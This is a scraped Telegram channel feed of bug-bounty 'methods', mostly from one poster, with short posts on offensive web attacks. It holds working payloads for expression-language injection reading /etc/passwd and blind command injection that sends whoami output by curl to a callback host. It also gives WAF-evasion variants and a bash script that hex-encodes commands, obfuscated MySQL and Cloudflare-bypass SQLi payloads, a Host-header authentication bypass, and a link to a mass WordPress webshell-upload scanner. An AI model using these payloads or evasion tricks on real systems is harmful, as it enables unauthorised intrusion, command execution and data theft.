🛰️ Discover IPING — Your Go-To IP Intelligence Tool
💡 IPING helps you uncover what’s behind any IP address in seconds.
🌍 From location and ASN to proxy status and risk level — all the insights you need for smarter investigations or secure online operations. No sign-up, no limits, only accurate results.
🚀 Explore now: https://www.iping.cc/
💡 IPING helps you uncover what’s behind any IP address in seconds.
🌍 From location and ASN to proxy status and risk level — all the insights you need for smarter investigations or secure online operations. No sign-up, no limits, only accurate results.
🚀 Explore now: https://www.iping.cc/
❤5🔥3
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16❤6👍1
Hey Hunter,
what do you think Web Cache to RCE possible or not?
Yes! It’s really very intresting, Post coming Soon.
what do you think Web Cache to RCE possible or not?
Yes! It’s really very intresting, Post coming Soon.
😱20🫡6❤5
Hey Hunter's,
Darkshadow here back again, dropping a really very interesting Method.
💀Web cache to RCE!😁
While i normally visit the web application i noticed, the website actively makes cache file from clint side to store errors.
Now The idea is, if we able to make any custom error then it will be cached, and if any how the error execute on the system we might see the output.
✅Exploit to reproduce final RCE:
1. The webapp was sending request from client side in a array based parameter.
2. Change the valid Input to a PHP code using system function. Here we just try to making a error using the invalid input.
3. Now the web application is not able to handle this input and makes error and store in a cache file.
4. After visiting the cache file, The error message reflecting on the cache file.
5. But wait, it's also execute my PHP code and store the command output in the file. Means we can execute OS commands output in cache file via making error. Means RCE!
Follow me for more methods x.com/darkshadow2bd
Darkshadow here back again, dropping a really very interesting Method.
💀Web cache to RCE!😁
While i normally visit the web application i noticed, the website actively makes cache file from clint side to store errors.
Now The idea is, if we able to make any custom error then it will be cached, and if any how the error execute on the system we might see the output.
✅Exploit to reproduce final RCE:
1. The webapp was sending request from client side in a array based parameter.
2. Change the valid Input to a PHP code using system function. Here we just try to making a error using the invalid input.
3. Now the web application is not able to handle this input and makes error and store in a cache file.
4. After visiting the cache file, The error message reflecting on the cache file.
5. But wait, it's also execute my PHP code and store the command output in the file. Means we can execute OS commands output in cache file via making error. Means RCE!
Follow me for more methods x.com/darkshadow2bd
🔥20🗿8😱4👍2❤1😢1
Hey Hunter's,
DarkShadow here back again, dropping a another interesting method!
💀Auth bypass using Host Header☠
✅Step to Reproduce:
1. Open target in BurpSuite, and simply visit as possible deeper.
2. Filter all JS script files.
3. Figure out any sensitive path as well any Admin dashboard path.
4. Send request on the path via changing Host Header to localhost.
It's looks very simple guy's but still very impactful. Always add this technique in your checklist.
And also add me in your follow list🙃
x.com/darkshadow2bd
#bugbountytips #authbypass
DarkShadow here back again, dropping a another interesting method!
💀Auth bypass using Host Header☠
Guy's This is most easiest and simple way to find most critical bug.
✅Step to Reproduce:
1. Open target in BurpSuite, and simply visit as possible deeper.
2. Filter all JS script files.
3. Figure out any sensitive path as well any Admin dashboard path.
4. Send request on the path via changing Host Header to localhost.
It's looks very simple guy's but still very impactful. Always add this technique in your checklist.
And also add me in your follow list🙃
x.com/darkshadow2bd
#bugbountytips #authbypass
1🔥18❤9👍2🤨2👏1🤝1
Hey Hunter’s,
DarkShadow here back again, dropping another easiest way to get critical bugs!
If You Ever See Language Parameter, Then Never Forget to Test Expression-Language Injection Style Payload.
✅POC Payload:
If you guy’s are really enjoy to read then show your love.
#bugbountytips #rce
DarkShadow here back again, dropping another easiest way to get critical bugs!
If You Ever See Language Parameter, Then Never Forget to Test Expression-Language Injection Style Payload.
✅POC Payload:
1. Change the Method GET to POST
2. Language={${system("cat+/etc/passwd")}}
If you guy’s are really enjoy to read then show your love.
#bugbountytips #rce
1🔥27❤9👍5
Hey Hunter’s,
DarkShadow here back again!
☠️Blind Remote Code Execution🔥
✅POC: [Preferred format]
curl -X POST -d \"user=$(whoami)\" https://BURP_LINK"
Others format you might try:
curl
curl $(whoami).BURP_LINK
some time targets might vulnerable but not give you the output. so never forget to try your burp collaborator to get the output.
NOTICE: always check
Now you hit follow me for more: x.com/darkshadow2bd
DarkShadow here back again!
☠️Blind Remote Code Execution🔥
✅POC: [Preferred format]
curl -X POST -d \"user=$(whoami)\" https://BURP_LINK"
Others format you might try:
curl
whoami.BURP_LINKcurl $(whoami).BURP_LINK
some time targets might vulnerable but not give you the output. so never forget to try your burp collaborator to get the output.
NOTICE: always check
User-Agent Header in your burp collaborator responds, if here you got curl means RCE.Now you hit follow me for more: x.com/darkshadow2bd
1🔥24❤6🗿6👍3
Hey Hunter's,
DarkShadow here back again, dropping some bypass methods that definitely help you.
Trying OS command injection, but WAF blocks every times?
❌ cat /etc/hosts
✅ tac /e\t\c/h\o\s\t\s
✅ tac${IFS}/e\t\c/h\o\s\t\s
✅ tac /e*c/h*st*
✅ tac /e{t,c}*/{o,h}*s*{s,t}
✅ tac /??c/??sts
Let me know guy's you all wants more or not like that?
DarkShadow here back again, dropping some bypass methods that definitely help you.
Trying OS command injection, but WAF blocks every times?
❌ cat /etc/hosts
✅ tac /e\t\c/h\o\s\t\s
✅ tac${IFS}/e\t\c/h\o\s\t\s
✅ tac /e*c/h*st*
✅ tac /e{t,c}*/{o,h}*s*{s,t}
✅ tac /??c/??sts
Let me know guy's you all wants more or not like that?
1❤14😱11🔥6👍2
Brut Security
Hey Hunter's, DarkShadow here back again, dropping some bypass methods that definitely help you. Trying OS command injection, but WAF blocks every times? ❌ cat /etc/hosts ✅ tac /e\t\c/h\o\s\t\s ✅ tac${IFS}/e\t\c/h\o\s\t\s ✅ tac /e*c/h*st* ✅ tac /e{t,c}*/{o…
This is for copy cats who copy my posts and share without cradit:
~DarkShadow
Hey copy cats, stop copying my posts and do your self. If you don't think deeply then first learn deeply.
~DarkShadow
1🤝9❤5🫡4🔥2🗿2
🚨Multi-target unauthenticated RCE scanner for CVE-2025-34085 affecting WordPress Simple File List plugin. Uploads, renames, and triggers PHP webshells across large target sets.
✅https://github.com/ill-deed/CVE-2025-34085-Multi-target
✅https://github.com/ill-deed/CVE-2025-34085-Multi-target
👍5
Check out this job at National Cyber Security Services: https://www.linkedin.com/jobs/view/4340448773
Linkedin
National Cyber Security Services hiring Security monitoring & incident response in Kolkata, West Bengal, India | LinkedIn
Posted 8:21:00 AM. SIEM Engineer (Open-Source & Enterprise) – SOC Deployment & TuningWe’re looking for a SIEM Engineer…See this and similar jobs on LinkedIn.
❤4
Hey Hunter's,
DarkShadow here back again, dropping a really interesting bypass method!
❎WAF block: whoami
✅WAF bypass: $'\x77\x68\x6f\x61\x6d\x69'
✨Bash script:
Guy's using my this dark-hex script you can directly execute obfuscate commands in bash!
#bugbountytips #bypass
DarkShadow here back again, dropping a really interesting bypass method!
❎WAF block: whoami
✅WAF bypass: $'\x77\x68\x6f\x61\x6d\x69'
✨Bash script:
#!/bin/bash
str="$1"
out=""
for ((i=0; i<${#str}; i++)); do
char="${str:i:1}"
ascii=$(printf '%d' "'$char")
hex=$(printf '%02x' "$ascii")
out="${out}\\x${hex}"
done
echo "$'$out'"
Guy's using my this dark-hex script you can directly execute obfuscate commands in bash!
#bugbountytips #bypass
🫡18🔥7❤5
⚡️Outdated but Helpful Some MySQL tricks to break some #WAFs out there. ⚔️ by @BRuteLogic
#infosec #cybersec #bugbountytips
SELECT-1e1FROM`test`
SELECT~1.FROM`test`
SELECT\NFROM`test`
SELECT@^1.FROM`test`
SELECT-id-1.FROM`test`#infosec #cybersec #bugbountytips
❤11
Hey Hunter’s,
DarkShadow is here back again!
Before Testing Complex RCE Payloads, SomeTimes You Need to Think Simple.
👇🏻Like:
parameter=value id
Now Guys simply show your love ❤️
#bugbountytips #rce
DarkShadow is here back again!
Before Testing Complex RCE Payloads, SomeTimes You Need to Think Simple.
👇🏻Like:
parameter=value id
Now Guys simply show your love ❤️
#bugbountytips #rce
❤20🔥7
🛡️ Bug Bounty Tip: Cloudflare 403 Bypass for Time-Based Blind SQLi
When your payload gets blocked by Cloudflare (403), try obfuscation with URL encoding to sneak it past!
❌ Blocked Payload
✅ Bypass Payload
🔍 This obfuscation can help trigger Time-Based Blind SQLi even when WAF protection is in place.
✅Credit: @nav1n0x
When your payload gets blocked by Cloudflare (403), try obfuscation with URL encoding to sneak it past!
❌ Blocked Payload
(select(0)from(select(sleep(10)))v) → 403 Forbidden
✅ Bypass Payload
(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v)
🔍 This obfuscation can help trigger Time-Based Blind SQLi even when WAF protection is in place.
✅Credit: @nav1n0x
1❤11👍2